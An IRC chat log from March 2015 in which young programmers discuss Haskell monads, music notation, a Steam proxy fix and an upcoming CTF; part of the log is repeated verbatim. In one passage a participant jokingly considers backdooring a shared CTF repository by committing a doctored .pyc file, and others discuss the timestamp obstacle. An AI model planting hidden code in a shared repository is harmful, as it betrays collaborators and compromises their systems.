[2015-03-05T15:03:12-0500] <+awe> nezorg: It's really not that complex once you know the definition of monoid, category, and endofunctor.
[2015-03-05T15:03:26-0500] <+awe> So, the idea is that monads essentially define the rules for how they work through generic operations that describe how you combine them and stuff.
[2015-03-05T15:03:56-0500] <+awe> So, you can write functions that only use those generic combining operations and the semantics are decided by your simple definitions of those rules.
[2015-03-05T15:05:31-0500] <+awe> I want to emphasize again that it's not about monads being particularly more capable, but instead that they're useful abstractions that allow you to write generic functions that have different but definite meanings for each monad.
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[2015-03-05T15:20:57-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-05T13:01:02-0500] <+awe> Fill: My PR was merged to OpenSSL last night.
[2015-03-05T13:02:22-0500] <Fill> ah
[2015-03-05T13:02:23-0500] <Fill> nice!
[2015-03-05T13:08:15-0500] <+awe> Well, once he pushes it.
[2015-03-05T13:08:29-0500] <+awe> I just asked him though.
[2015-03-05T13:12:54-0500] <grantwu> awe: what is a monoid -_-
[2015-03-05T13:13:11-0500] <grantwu> oh wait no it's actually defined here
[2015-03-05T13:13:30-0500] <+awe> It's a set with an operation for combining elements in the set.
[2015-03-05T13:13:56-0500] <grantwu> ok
[2015-03-05T13:14:06-0500] <+awe> assuming the combining operation is associative, and there's an identity element.
[2015-03-05T13:18:48-0500] <grantwu> yes, this was for 'a list s
[2015-03-05T13:55:58-0500] <+awe> grantwu: whenever I see 'a, I think lifetimes.
[2015-03-05T14:38:25-0500] <JacobEdelman_> awe: I still don't get what abstractions monads are useful for
[2015-03-05T14:38:47-0500] <+awe> One of them gave an example.
[2015-03-05T14:38:58-0500] <JacobEdelman_> I looked at the stack overflow
[2015-03-05T14:39:02-0500] <JacobEdelman_> and was not impressed
[2015-03-05T14:39:02-0500] <+awe> Look at the article.
[2015-03-05T14:39:05-0500] <+awe> The article is a lot better.
[2015-03-05T14:39:22-0500] <+awe> SO was just a preliminary "this will probably yield something ok."
[2015-03-05T14:39:58-0500] <JacobEdelman_> can you just give me a program
[2015-03-05T14:40:00-0500] <JacobEdelman_> that does something
[2015-03-05T14:40:08-0500] <JacobEdelman_> that I would find difficult without a monad?
[2015-03-05T14:40:52-0500] <JacobEdelman_> I mean, global variables, error handling and all are cool
[2015-03-05T14:41:21-0500] <JacobEdelman_> but in a way they seem to just be ways of implementing
[2015-03-05T14:41:30-0500] <JacobEdelman_> features other languages have, just in a more pure way
[2015-03-05T14:41:56-0500] <JacobEdelman_> its like cutting off your own arms and than expecting applause when you finnally manager to flush a toilet
[2015-03-05T14:42:27-0500] <JacobEdelman_> ... that is the most beautiful metaphor i have ever created
[2015-03-05T14:42:33-0500] <JacobEdelman_> oh wait
[2015-03-05T14:42:35-0500] <JacobEdelman_> *finally manage
[2015-03-05T14:57:16-0500] <+awe> It's not about difficulty.
[2015-03-05T14:57:42-0500] <+awe> It's not that any particular task is difficult without monads. It's that they make abstraction more beautiful.
[2015-03-05T14:59:20-0500] <+awe> JacobEdelman_: sequence :: Monad m => [m a] -> m [a]
[2015-03-05T14:59:31-0500] <JacobEdelman_> wait
[2015-03-05T14:59:33-0500] <+awe> Let’s take a minute to consider what this means for each of our four examples. For Err, it takes a list of results that might be failures, and if any of them are failures, it fails; but if not, then it gives back a list of all the results.  It’s basically a convenient way to check a whole list of computations for a failure. For Pref, it takes a single set of application preferences, and distributes that to everything in the list, giving back a list of the
[2015-03-05T14:59:33-0500] <+awe>  results. For the power-set monad, P, it would take a list of sets, and give back a set of all the ways to choose one item from each set.  And for IO, it takes a list of instruction cards, and gives back the single card with instructions for doing all of them in turn.  Amazingly, this one function, which had only one implementation, managed to make sense and do something useful for all four of our examples of monads!
[2015-03-05T15:00:10-0500] <JacobEdelman_> hmmm interesting
[2015-03-05T15:00:27-0500] <JacobEdelman_> still I lack an understanding of how it works 
[2015-03-05T15:01:11-0500] <+awe> It works because a monad has rules for how combining different elements within the set owrk.
[2015-03-05T15:01:21-0500] <+awe> After all, a monad is just a monoid in the category of endofunctors. ;)
[2015-03-05T15:01:51-0500] <+awe> Reproduced for your reading pleasure:
[2015-03-05T15:01:51-0500] <+awe> [13:12:54]  <grantwu>	awe: what is a monoid 😑
[2015-03-05T15:01:51-0500] <+awe> [13:13:11]  <grantwu>	oh wait no it's actually defined here
[2015-03-05T15:01:51-0500] <+awe> [13:13:30]  <+awe>	It's a set with an operation for combining elements in the set.
[2015-03-05T15:01:51-0500] <+awe> [13:13:56]  <grantwu>	ok
[2015-03-05T15:01:51-0500] <+awe> [13:14:06]  <+awe>	assuming the combining operation is associative, and there's an identity element.
[2015-03-05T15:02:53-0500] <nezorg> awe: I consider it very bad that I understand that statement
[2015-03-05T15:03:10-0500] <+awe> nezorg: It's really not that complex once you know the definition of monoid, category, and endofunctor.
[2015-03-05T15:03:24-0500] <+awe> So, the idea is that monads essentially define the rules for how they work through generic operations that describe how you combine them and stuff.
[2015-03-05T15:03:54-0500] <+awe> So, you can write functions that only use those generic combining operations and the semantics are decided by your simple definitions of those rules.
[2015-03-05T15:05:29-0500] <+awe> I want to emphasize again that it's not about monads being particularly more capable, but instead that they're useful abstractions that allow you to write generic functions that have different but definite meanings for each monad.
[2015-03-05T15:20:58-0500] Mode is +nt
[2015-03-05T15:28:47-0500] <+awe> So, I have some potato salad made with chipotle mayo.
[2015-03-05T15:28:51-0500] <+awe> I don't know if I want to try it.
[2015-03-05T15:31:37-0500] <Tamini> try it
[2015-03-05T15:32:48-0500] <[sar]chrissing> pls dont
[2015-03-05T15:33:21-0500] <+awe> It sounds like it's probably ba.d
[2015-03-05T15:33:57-0500] <+awe> I just tried it.
[2015-03-05T15:33:57-0500] <[sar]chrissing> definitely 
[2015-03-05T15:34:11-0500] <+awe> It's surprisingly spicy, but it's not really a good taste.
[2015-03-05T15:34:15-0500] <JacobEdelman_> nezorg: I understand the statement, I just can't get why monads are so usefull for programming
[2015-03-05T15:34:24-0500] <+awe> It's also not as bad as I thought though.
[2015-03-05T15:34:41-0500] <+awe> JacobEdelman_: I don't know what's so hard to get.
[2015-03-05T15:34:45-0500] <JacobEdelman_> so wait
[2015-03-05T15:34:47-0500] <+awe> JacobEdelman_: Abstraction means less repeating yourself.
[2015-03-05T15:34:52-0500] <JacobEdelman_> you can define semantics?
[2015-03-05T15:35:17-0500] <+awe> You can implement a Monad for anything that is monadic.
[2015-03-05T15:35:54-0500] <+awe> JacobEdelman_: Rust has lots of monadic things, but no HKT and thus no ability to abstract over them.
[2015-03-05T15:36:05-0500] <+awe> JacobEdelman_: I cannot write a function that will operate on Option and Result and List and so forth.
[2015-03-05T15:36:20-0500] <+awe> Even though they have the same properties.
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[2015-03-05T16:02:21-0500] <JacobEdelman_> in python you can do that
[2015-03-05T16:02:26-0500] <JacobEdelman_> in fact its impossible not too
[2015-03-05T16:02:31-0500] <JacobEdelman_> :P
[2015-03-05T16:02:46-0500] <JacobEdelman_> In other news, I wrote a 1.5 page research paper in Latex
[2015-03-05T16:03:04-0500] <JacobEdelman_> it's my brother's birthday card :P
[2015-03-05T16:03:36-0500] <JacobEdelman_> since some of you (Tamini) asked me too pass on birthday wishes I added this footnote
[2015-03-05T16:03:39-0500] <JacobEdelman_> "The inhabitants of pdgn would like me to pass on their birthday wishes for you. Too bad for them.}"
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[2015-03-05T16:39:02-0500] <JacobEdelman_> what is happening to [sar]chrissing ?
[2015-03-05T16:39:20-0500] <[sar]chrissing> randome disconnects?
[2015-03-05T16:39:26-0500] <JacobEdelman_> why?
[2015-03-05T16:39:32-0500] <[sar]chrissing> shitty network
[2015-03-05T16:39:35-0500] <JacobEdelman_> ah
[2015-03-05T16:39:40-0500] <JacobEdelman_> are you at school?
[2015-03-05T16:39:55-0500] <[sar]chrissing> not anymore
[2015-03-05T16:40:06-0500] <[sar]chrissing> were earlier
[2015-03-05T16:40:10-0500] <JacobEdelman_> ah
[2015-03-05T16:40:12-0500] <JacobEdelman_> you people
[2015-03-05T16:40:16-0500] <JacobEdelman_> and youre lack of a snow day
[2015-03-05T16:40:30-0500] <[sar]chrissing> how much snow did you get?
[2015-03-05T16:40:34-0500] <JacobEdelman_> 6 inches?
[2015-03-05T16:40:39-0500] <JacobEdelman_> and its still coming down
[2015-03-05T16:40:46-0500] <JacobEdelman_> *6 inches of accumlation
[2015-03-05T16:41:04-0500] <[sar]chrissing> wow must be fun
[2015-03-05T16:52:18-0500] <[sar]chrissing> JacobEdelman_: you were talking about latex earlier?
[2015-03-05T16:57:28-0500] <Tamini> lol
[2015-03-05T16:57:34-0500] <Tamini> jacob, i'm off from school too! :D
[2015-03-05T17:12:11-0500] <JacobEdelman_> wait, why?
[2015-03-05T17:20:49-0500] <Tamini> uhh
[2015-03-05T17:20:53-0500] <Tamini> there's 6 inches of snow?
[2015-03-05T18:08:13-0500] <hardmath123> so i was considering backdooring hamelin as a joke :P
[2015-03-05T18:08:30-0500] <hardmath123> basically "accidentally" commit a pyc to the main repo
[2015-03-05T18:08:52-0500] <hardmath123> and corrupt the pyc cleverly so that it doesn't match with the .py and does whatever I want
[2015-03-05T18:09:30-0500] <hardmath123> except, it won't work because the pyc infrastructure uses timestamps
[2015-03-05T18:10:07-0500] <hardmath123> and git has a "refresh everything" attitude towards timestamps
[2015-03-05T18:10:09-0500] <hardmath123> so yeah
[2015-03-05T18:14:10-0500] <JacobEdelman_> Tamini: you live in the deep south with ask them Aztecs so how was I supposed to know you got hit by a snow storm?
[2015-03-05T18:14:14-0500] <JacobEdelman_> :P
[2015-03-05T18:15:12-0500] <Tamini> wow yes obc
[2015-03-05T18:19:03-0500] <JacobEdelman_> *ignore the "ask"
[2015-03-05T18:23:13-0500] <nezorg> hardmath123: just make the pyc have a later timestamp than the py
[2015-03-05T18:23:57-0500] <nezorg> oh, do you mean when you update the py later?
[2015-03-05T18:24:16-0500] <hardmath123> no, python goes and checks if the timestamp in the pyc *matches* the timestamp of the py
[2015-03-05T18:24:33-0500] <hardmath123> there's no way for me to know when jacob will clone the repo to the hsctf server
[2015-03-05T18:24:41-0500] <hardmath123> so there's no way for me to hardcode that number in
[2015-03-05T18:24:58-0500] <nezorg> ah, alright
[2015-03-05T18:25:07-0500] <nezorg> that's what you mean
[2015-03-05T18:44:02-0500] <Tamini> lol
[2015-03-05T18:44:15-0500] <Tamini> you mean you can't look out into the future, hardmath123? :P
[2015-03-05T18:46:04-0500] <hardmath123> Tamini: last year, the only hw assignment I turned into APCS had a last-modification date around 2019.
[2015-03-05T18:46:11-0500] <Tamini> heh
[2015-03-05T18:46:20-0500] <Tamini> also, why not do apcs hw?
[2015-03-05T18:46:30-0500] <Tamini> it's probably easy enough anyway
[2015-03-05T18:46:35-0500] <hardmath123> because it was all optional
[2015-03-05T18:46:39-0500] <hardmath123> and i knew all the material
[2015-03-05T18:47:25-0500] <Tamini> ah, right
[2015-03-05T18:47:35-0500] <Tamini> we basically had no hw for apcs ^^
[2015-03-05T18:48:16-0500] <Tamini> except i think our teacher crowdsourced a unit to the people that were ahead
[2015-03-05T18:48:25-0500] <Tamini> so i ended up writing a couple unit testing labs
[2015-03-05T18:48:34-0500] <Tamini> and I got actual hate mail the year after :p
[2015-03-05T18:48:37-0500] <hardmath123> :P
[2015-03-05T18:50:02-0500] <Tamini> it basically took advantage of an off by one error in the initialization part of the code to break everything
[2015-03-05T18:50:03-0500] <Tamini> it was glorious
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[2015-03-05T19:31:05-0500] <Tamini> hmm
[2015-03-05T19:31:11-0500] <Tamini> since I seem to have a lot of free time
[2015-03-05T19:31:16-0500] <Tamini> any movie suggestions? B(
[2015-03-05T19:31:17-0500] <Tamini> B)*
[2015-03-05T19:32:25-0500] <LittleBobbyTables> edward penishands
[2015-03-05T19:32:32-0500] <Tamini> no.
[2015-03-05T19:35:12-0500] <LittleBobbyTables> Why not
[2015-03-05T19:35:20-0500] <Tamini> i refuse
[2015-03-05T19:36:26-0500] <hardmath123> transcribing music at 8 beats per second
[2015-03-05T19:36:29-0500] <hardmath123> RIP ears
[2015-03-05T19:39:32-0500] <Tamini> aww D:
[2015-03-05T19:39:57-0500] <Tamini> wait, isnt that really fast
[2015-03-05T19:41:09-0500] <jwoglom> isn't that 480bpm?
[2015-03-05T19:41:17-0500] <jwoglom> that's pretty darned fast
[2015-03-05T19:43:22-0500] <hardmath123> yeah pretty much
[2015-03-05T19:43:23-0500] <hardmath123> http://i.imgur.com/uOtbmXN.jpg
[2015-03-05T19:43:24-0500] <+awe> [16:02:46]  <JacobEdelman_>	In other news, I wrote a 1.5 page research paper in Latex
[2015-03-05T19:43:27-0500] <Tamini> why are you playing it that fast
[2015-03-05T19:43:30-0500] <+awe> JacobEdelman_: all research papers get written in Latex.
[2015-03-05T19:43:41-0500] <Tamini> and that's stunningly neat for 480bpm
[2015-03-05T19:43:47-0500] <[sar]chrissing> latex is beauty
[2015-03-05T19:44:06-0500] <[sar]chrissing> i write my econ notes in latex when im bored
[2015-03-05T19:44:56-0500] <hardmath123> Tamini: https://www.youtube.com/watch?v=pdfRGwvit4Q&feature=youtu.be&t=2m40s
[2015-03-05T19:44:56-0500] <[sar]chrissing> ctf.chrissing.me/files/Econ_notes.pdf
[2015-03-05T19:45:26-0500] <Tamini> this is nice
[2015-03-05T19:45:37-0500] <Tamini> i like it
[2015-03-05T19:47:44-0500] <JacobEdelman_> awe: yeah, except it was also Ben's birthday card
[2015-03-05T19:48:04-0500] <+awe> What?
[2015-03-05T19:48:11-0500] <+awe> Your birthday card to him is a research paper?
[2015-03-05T19:48:25-0500] <Tamini> i feel like ben would appreciate that to an extent :P
[2015-03-05T19:48:36-0500] <JacobEdelman_> Yup!
[2015-03-05T19:48:52-0500] <JacobEdelman_> Ill give you a link to it once I get home
[2015-03-05T19:50:15-0500] <Tamini> where are you now, then?
[2015-03-05T19:58:30-0500] <+awe> http://engineering.imvu.com/2014/03/24/what-its-like-to-use-haskell/
[2015-03-05T19:58:31-0500] <+awe> This is interesting.
[2015-03-05T19:58:34-0500] <+awe> IMVU uses Haskell.
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[2015-03-05T20:00:22-0500] <calc0000> your face uses haskell
[2015-03-05T20:01:55-0500] <+awe> Thanks, calc0000.
[2015-03-05T20:04:09-0500] <ubuntor> at least your face is fully functional
[2015-03-05T20:05:26-0500] <+awe> Yup.
[2015-03-05T20:05:28-0500] <+awe> And pure.
[2015-03-05T20:08:55-0500] <nezorg> but nobody uses it
[2015-03-05T20:10:03-0500] <calc0000> rekt
[2015-03-05T20:16:16-0500] <hardmath123> guys you're all smart can you invent better music notation?
[2015-03-05T20:16:32-0500] <hardmath123> i hate conventional music notation. it's hard to read and harder to write
[2015-03-05T20:24:35-0500] <Tamini> heh
[2015-03-05T20:24:39-0500] <Tamini> well, you're the music guy
[2015-03-05T20:24:54-0500] <Tamini> invent a new notation!
[2015-03-05T20:25:20-0500] <nezorg> I remember seeing a different one...
[2015-03-05T20:25:31-0500] <nezorg> oh, this thing y
[2015-03-05T20:25:33-0500] <nezorg> http://www.hummingbirdnotation.com/
[2015-03-05T20:25:42-0500] <Tamini> oh, this is cool.
[2015-03-05T20:26:26-0500] <Tamini> heh, friendly music notation
[2015-03-05T20:26:42-0500] <nezorg> looks kinda hard to read but maybe I'm just used to the traditional system
[2015-03-05T20:26:47-0500] <calc0000> agreed
[2015-03-05T20:26:58-0500] <calc0000> i don't understand what the phases of the moon have to do with this
[2015-03-05T20:27:06-0500] <Tamini> I think it's just a very different way to encode this
[2015-03-05T20:27:17-0500] <Tamini> and its weird, but I feel like it'd definitely write faster.
[2015-03-05T20:27:25-0500] <nezorg> well, one concrete critique: the marks for 8th/15th are very tiny
[2015-03-05T20:27:29-0500] <nezorg> and hard to see
[2015-03-05T20:27:43-0500] <hardmath123> eugh that looks like alchemy notation for some reason
[2015-03-05T20:28:00-0500] <jwoglom> ooh, i haven't seen that before
[2015-03-05T20:28:00-0500] <hardmath123> and so many close-together marks are hard to write
[2015-03-05T20:28:06-0500] <nezorg> yeah, agree
[2015-03-05T20:28:09-0500] <jwoglom> looks interesting, although i think it's a bit harder to see note lengths
[2015-03-05T20:28:32-0500] <calc0000> i'm not sure that the traditional way was all that bad
[2015-03-05T20:28:36-0500] <Tamini> that's true.
[2015-03-05T20:28:46-0500] <calc0000> bit of a learning curve 
[2015-03-05T20:28:46-0500] <hardmath123> they don't need to have mnemonics for the note pitch encoded into the symbol
[2015-03-05T20:28:53-0500] <calc0000> but playing the actual instruments does to
[2015-03-05T20:28:57-0500] <Tamini> well, hardmath123 wanted something so it'd be easier for him to transcribe
[2015-03-05T20:28:59-0500] <hardmath123> that's redundant. probably useful as a crutch for newbies.
[2015-03-05T20:29:27-0500] <hardmath123> well yeah so i feel there should be a better convention for placing notes so that rhythms are obvious
[2015-03-05T20:29:57-0500] <+awe> "“It's much more easier!”
[2015-03-05T20:29:57-0500] <+awe> ANNA, AGE 6
[2015-03-05T20:29:57-0500] <+awe> Lol.
[2015-03-05T20:30:03-0500] <calc0000> kek
[2015-03-05T20:30:03-0500] <+awe> nezorg: That's really cool though.
[2015-03-05T20:30:07-0500] <hardmath123> for instance, i find it easier to read E E--E E than E Q E (-- being a tie).
[2015-03-05T20:30:21-0500] <hardmath123> (and E/Q being eigth and quarter notes)
[2015-03-05T20:30:23-0500] <nezorg> hardmath123: how do you even transcribe
[2015-03-05T20:30:26-0500] <nezorg> I suck at pitch id
[2015-03-05T20:30:53-0500] <JacobEdelman_> I am music illetate
[2015-03-05T20:30:56-0500] <+awe> calc0000: I don't know. I could play guitar decently, but sheet music was a no-no.
[2015-03-05T20:31:00-0500] • Tamini: highfives JacobEdelman_ 
[2015-03-05T20:31:01-0500] <hardmath123> nezorg: so do i. i'm like while (true) { play(mp3); hit(randomkey); }
[2015-03-05T20:31:07-0500] <nezorg> :P
[2015-03-05T20:31:10-0500] <Tamini> :P
[2015-03-05T20:31:17-0500] <JacobEdelman_> what did I get the high five for?
[2015-03-05T20:31:24-0500] <nezorg> awe: lol, I can't play by ear *at all*... although I'm a piano person, so there's that
[2015-03-05T20:31:31-0500] <hardmath123> there's an escape condition for when they sound so similar that i can't tell the different. or when my ears start to bleed.
[2015-03-05T20:31:37-0500] <+awe> nezorg: I couldn't play anything by ear either. :)
[2015-03-05T20:31:42-0500] <calc0000> awe maybe you're a scrub
[2015-03-05T20:31:43-0500] • hardmath123: high-fives nezorg.
[2015-03-05T20:31:44-0500] <JacobEdelman_> I can play an ear
[2015-03-05T20:31:46-0500] <+awe> nezorg: Fortunately, on guitar, there's other notation.
[2015-03-05T20:31:53-0500] <nezorg> oh, that's what you mean
[2015-03-05T20:31:54-0500] <+awe> calc0000: I am definitely a music scrub.
[2015-03-05T20:32:09-0500] <nezorg> I wasn't aware tabs weren't considered sheet music
[2015-03-05T20:32:17-0500] <JacobEdelman_> what does scrubbing ears have anything to do with this?
[2015-03-05T20:32:20-0500] <+awe> I mean, they're not formal sheet music.
[2015-03-05T20:32:24-0500] <+awe> They don't include rhythm.
[2015-03-05T20:32:39-0500] <JacobEdelman_> rhythm - a type of vegatble?
[2015-03-05T20:32:45-0500] <+awe> http://www.hummingbirdnotation.com/songs/Wouldn't%20It%20Be%20Nice%20(Final).pdf
[2015-03-05T20:36:57-0500] <+awe> hardmath123: Will you teach me how to play trumpet some day?
[2015-03-05T20:37:45-0500] <Tamini> I want to learn music theory!
[2015-03-05T20:38:12-0500] <+awe> I want to play trumpet and violin.
[2015-03-05T20:38:20-0500] <+awe> I will likely never be able to play either.
[2015-03-05T20:38:25-0500] <Tamini> i used to play violin, i'm sad i gave it up now
[2015-03-05T20:38:25-0500] <+awe> Although, I've learned a little bit of violin.
[2015-03-05T20:38:28-0500] <Tamini> why do you think that?
[2015-03-05T20:38:40-0500] <+awe> I doubt I'm ever going to commit to learning either of them.
[2015-03-05T20:38:42-0500] <hardmath123> awe: I don't know how to play trumpet.
[2015-03-05T20:38:57-0500] <+awe> hardmath123: That doesn't mean you can't teach me how to play trumpet.
[2015-03-05T20:38:59-0500] <hardmath123> awe: All those shiny things people blow into in jazz band look, sound, and probably taste the same to me.
[2015-03-05T20:39:45-0500] <Tamini> heh
[2015-03-05T20:40:27-0500] <+awe> hardmath123: Fine, can you teach me violin?
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[2015-03-05T20:41:32-0500] <Tamini> awe: can you teach me guitar?
[2015-03-05T20:42:38-0500] <hardmath123> awe: I can teach you piano.
[2015-03-05T20:43:14-0500] <+awe> Tamini: I'm pretty bad at it, but I suppose so.
[2015-03-05T20:43:30-0500] <Tamini> my guitar is like
[2015-03-05T20:43:33-0500] <Tamini> half a size too big for me
[2015-03-05T20:43:39-0500] <Tamini> because I assumed I would grow into it
[2015-03-05T20:43:43-0500] <Tamini> ...that was a very hopeful assumption
[2015-03-05T20:43:44-0500] <Tamini> :P
[2015-03-05T20:44:19-0500] <hardmath123> :P
[2015-03-05T20:44:32-0500] <Tamini> piano is fun
[2015-03-05T20:44:41-0500] <hardmath123> Piano is fun because it's hard to make bad noise.
[2015-03-05T20:44:48-0500] <Tamini> but i got really sick of it really quickly because my hands are too small for me to properly play actual interesting songs
[2015-03-05T20:44:57-0500] <hardmath123> I swear, half the time the trombones sound like they're just perpetually farting.
[2015-03-05T20:45:02-0500] <Tamini> LOL
[2015-03-05T20:46:06-0500] <+awe> hardmath123: I don't like trombones, but I like trumpets.
[2015-03-05T20:46:12-0500] <+awe> Trumpets are, in fact, the only horn that I like.
[2015-03-05T20:46:29-0500] <+awe> Well, I guess the only brass instrument since I guess a saxaphone isn't a horn.
[2015-03-05T20:49:36-0500] <jwoglom> saxophone! o/
[2015-03-05T20:49:45-0500] <+awe> I was saying I don't really like saxophones. 
[2015-03-05T20:49:56-0500] <+awe> They're ok though.
[2015-03-05T20:50:27-0500] <jwoglom> if you say so :P
[2015-03-05T20:53:25-0500] <hardmath123> I took a year of saxophone and a year of clarinet.
[2015-03-05T20:53:28-0500] <hardmath123> Saxophone felt cool.
[2015-03-05T20:53:35-0500] <hardmath123> But i'm a harmony person.
[2015-03-05T20:53:39-0500] <hardmath123> one note at a time ain't enough
[2015-03-05T20:56:23-0500] <jwoglom> it's a cool instrument
[2015-03-05T20:56:46-0500] <jwoglom> but yeah, good luck playing multiple notes at a time :P
[2015-03-05T20:56:55-0500] <jwoglom> i believe you sort of can with overtones but that's hard and hacky
[2015-03-05T21:00:34-0500] <LittleBobbyTables> aight so guys
[2015-03-05T21:00:53-0500] <LittleBobbyTables> I have literally everything disabled that could be blocking anything (firewall, av, router firewall, etc.)
[2015-03-05T21:01:32-0500] <LittleBobbyTables> And in some applications (I'm unsure as to the extent of the problem), the internet doesn't work. For example, Steam. I can play and download games, but I can't view profiles or view the store through the client.
[2015-03-05T21:07:40-0500] <ubuntor> do the same steam urls work in a browser?
[2015-03-05T21:07:47-0500] <LittleBobbyTables> Yeah
[2015-03-05T21:08:10-0500] <LittleBobbyTables> All links in browser work, it's only certain client things that are blocked.
[2015-03-05T21:08:28-0500] <ubuntor> hm
[2015-03-05T21:08:33-0500] <ubuntor> what error message
[2015-03-05T21:09:13-0500] <LittleBobbyTables> For steam, -130
[2015-03-05T21:09:35-0500] <LittleBobbyTables> For other things (Visual Studio is the only other one I've found so far), no error, just says "nope"
[2015-03-05T21:12:35-0500] <ubuntor> proxy settings?
[2015-03-05T21:13:40-0500] <LittleBobbyTables> All disabled
[2015-03-05T21:16:23-0500] <ubuntor> test these ports? https://support.steampowered.com/kb_article.php?ref=8571-GLVN-8711
[2015-03-05T21:17:00-0500] <ubuntor> if all else fails, try tracing library calls?
[2015-03-05T21:17:44-0500] <LittleBobbyTables> It's not just Steam, and the browser is just a hook to IE.
[2015-03-05T21:17:59-0500] <LittleBobbyTables> owait
[2015-03-05T21:18:09-0500] <ubuntor> ?
[2015-03-05T21:18:23-0500] <LittleBobbyTables> I forgot that freenet automatically changes IE proxy...
[2015-03-05T21:19:00-0500] <LittleBobbyTables> Yeah, that was it.
[2015-03-05T21:23:03-0500] <bob_twinkles> the #1 thing that upsets me about JSON is that it has no comment-like structure
[2015-03-05T21:23:32-0500] <bob_twinkles> pretty much every other data interchange format has something that lets you say "ignore this stuff pls"
[2015-03-05T21:25:30-0500] <bob_twinkles> with JSON the best you can do is like... wrap it in quotes or something
[2015-03-05T21:30:48-0500] <calc0000> haha bob
[2015-03-05T21:30:53-0500] <calc0000> that's why i wrote my own JSON parser!
[2015-03-05T21:30:55-0500] <calc0000> with comments!
[2015-03-05T21:30:58-0500] <calc0000> and trailing commas!
[2015-03-05T21:31:03-0500] <calc0000> and unquoted object keys!
[2015-03-05T21:32:05-0500] <LittleBobbyTables> My coworker got mad because my sandbox wouldn't run his json files
[2015-03-05T21:34:05-0500] <bob_twinkles> calc0000: no blackjack or hookers?
[2015-03-05T21:34:27-0500] <calc0000> well bob there's this ethics clause in my employment contract...
[2015-03-05T21:34:34-0500] <bob_twinkles> ah
[2015-03-05T21:34:36-0500] <bob_twinkles> how unfortunate
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[2015-03-05T23:35:28-0500] <grantwu> Mother of god o.O
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[2015-03-05T23:35:44-0500] <grantwu> Android SDK is the biggest user of space on my hard disk
[2015-03-05T23:38:25-0500] <[sar]chrissing> opentoallctf?
[2015-03-05T23:39:03-0500] <jwoglom> the android sdk isn't even that large
[2015-03-05T23:39:14-0500] <jwoglom> like 200mb max or something?
[2015-03-05T23:41:26-0500] <grantwu> I have 30 GB.
[2015-03-05T23:41:31-0500] <grantwu> Mostly system images.
[2015-03-05T23:41:38-0500] <grantwu> For the various API levels...
[2015-03-05T23:41:54-0500] <jwoglom> ah, yeah those add up if you have a bunch
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[2015-03-05T20:53:39-0500] <hardmath123> one note at a time ain't enough
[2015-03-05T20:56:23-0500] <jwoglom> it's a cool instrument
[2015-03-05T20:56:46-0500] <jwoglom> but yeah, good luck playing multiple notes at a time :P
[2015-03-05T20:56:55-0500] <jwoglom> i believe you sort of can with overtones but that's hard and hacky
[2015-03-05T21:00:34-0500] <LittleBobbyTables> aight so guys
[2015-03-05T21:00:53-0500] <LittleBobbyTables> I have literally everything disabled that could be blocking anything (firewall, av, router firewall, etc.)
[2015-03-05T21:01:32-0500] <LittleBobbyTables> And in some applications (I'm unsure as to the extent of the problem), the internet doesn't work. For example, Steam. I can play and download games, but I can't view profiles or view the store through the client.
[2015-03-05T21:07:40-0500] <ubuntor> do the same steam urls work in a browser?
[2015-03-05T21:07:47-0500] <LittleBobbyTables> Yeah
[2015-03-05T21:08:10-0500] <LittleBobbyTables> All links in browser work, it's only certain client things that are blocked.
[2015-03-05T21:08:28-0500] <ubuntor> hm
[2015-03-05T21:08:33-0500] <ubuntor> what error message
[2015-03-05T21:09:13-0500] <LittleBobbyTables> For steam, -130
[2015-03-05T21:09:35-0500] <LittleBobbyTables> For other things (Visual Studio is the only other one I've found so far), no error, just says "nope"
[2015-03-05T21:12:35-0500] <ubuntor> proxy settings?
[2015-03-05T21:13:40-0500] <LittleBobbyTables> All disabled
[2015-03-05T21:16:23-0500] <ubuntor> test these ports? https://support.steampowered.com/kb_article.php?ref=8571-GLVN-8711
[2015-03-05T21:17:00-0500] <ubuntor> if all else fails, try tracing library calls?
[2015-03-05T21:17:44-0500] <LittleBobbyTables> It's not just Steam, and the browser is just a hook to IE.
[2015-03-05T21:17:59-0500] <LittleBobbyTables> owait
[2015-03-05T21:18:09-0500] <ubuntor> ?
[2015-03-05T21:18:23-0500] <LittleBobbyTables> I forgot that freenet automatically changes IE proxy...
[2015-03-05T21:19:00-0500] <LittleBobbyTables> Yeah, that was it.
[2015-03-05T21:23:03-0500] <bob_twinkles> the #1 thing that upsets me about JSON is that it has no comment-like structure
[2015-03-05T21:23:32-0500] <bob_twinkles> pretty much every other data interchange format has something that lets you say "ignore this stuff pls"
[2015-03-05T21:25:30-0500] <bob_twinkles> with JSON the best you can do is like... wrap it in quotes or something
[2015-03-05T21:30:48-0500] <calc0000> haha bob
[2015-03-05T21:30:53-0500] <calc0000> that's why i wrote my own JSON parser!
[2015-03-05T21:30:55-0500] <calc0000> with comments!
[2015-03-05T21:30:58-0500] <calc0000> and trailing commas!
[2015-03-05T21:31:03-0500] <calc0000> and unquoted object keys!
[2015-03-05T21:32:05-0500] <LittleBobbyTables> My coworker got mad because my sandbox wouldn't run his json files
[2015-03-05T21:34:05-0500] <bob_twinkles> calc0000: no blackjack or hookers?
[2015-03-05T21:34:27-0500] <calc0000> well bob there's this ethics clause in my employment contract...
[2015-03-05T21:34:34-0500] <bob_twinkles> ah
[2015-03-05T21:34:36-0500] <bob_twinkles> how unfortunate
[2015-03-05T23:35:28-0500] <grantwu> Mother of god o.O
[2015-03-05T23:35:44-0500] <grantwu> Android SDK is the biggest user of space on my hard disk
[2015-03-05T23:38:25-0500] <[sar]chrissing> opentoallctf?
[2015-03-05T23:39:03-0500] <jwoglom> the android sdk isn't even that large
[2015-03-05T23:39:14-0500] <jwoglom> like 200mb max or something?
[2015-03-05T23:41:26-0500] <grantwu> I have 30 GB.
[2015-03-05T23:41:31-0500] <grantwu> Mostly system images.
[2015-03-05T23:41:38-0500] <grantwu> For the various API levels...
[2015-03-05T23:41:54-0500] <jwoglom> ah, yeah those add up if you have a bunch
[2015-03-06T00:02:47-0500] <LittleBobbyTables> when is it, [sar]chrissing 
[2015-03-06T00:03:00-0500] <[sar]chrissing> just started 1 min
[2015-03-06T00:03:02-0500] <[sar]chrissing> ago
[2015-03-06T00:04:12-0500] <LittleBobbyTables> shit im in dota
[2015-03-06T00:04:17-0500] <LittleBobbyTables> what's the link
[2015-03-06T00:05:06-0500] Mode is +nt
[2015-03-06T00:22:54-0500] <LittleBobbyTables> nvm got it.
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[2015-03-06T00:41:04-0500] <grantwu> Does anyone know why when I select all files in C:/
[2015-03-06T00:41:15-0500] <grantwu> And check their size I get 57.9 GB on disk
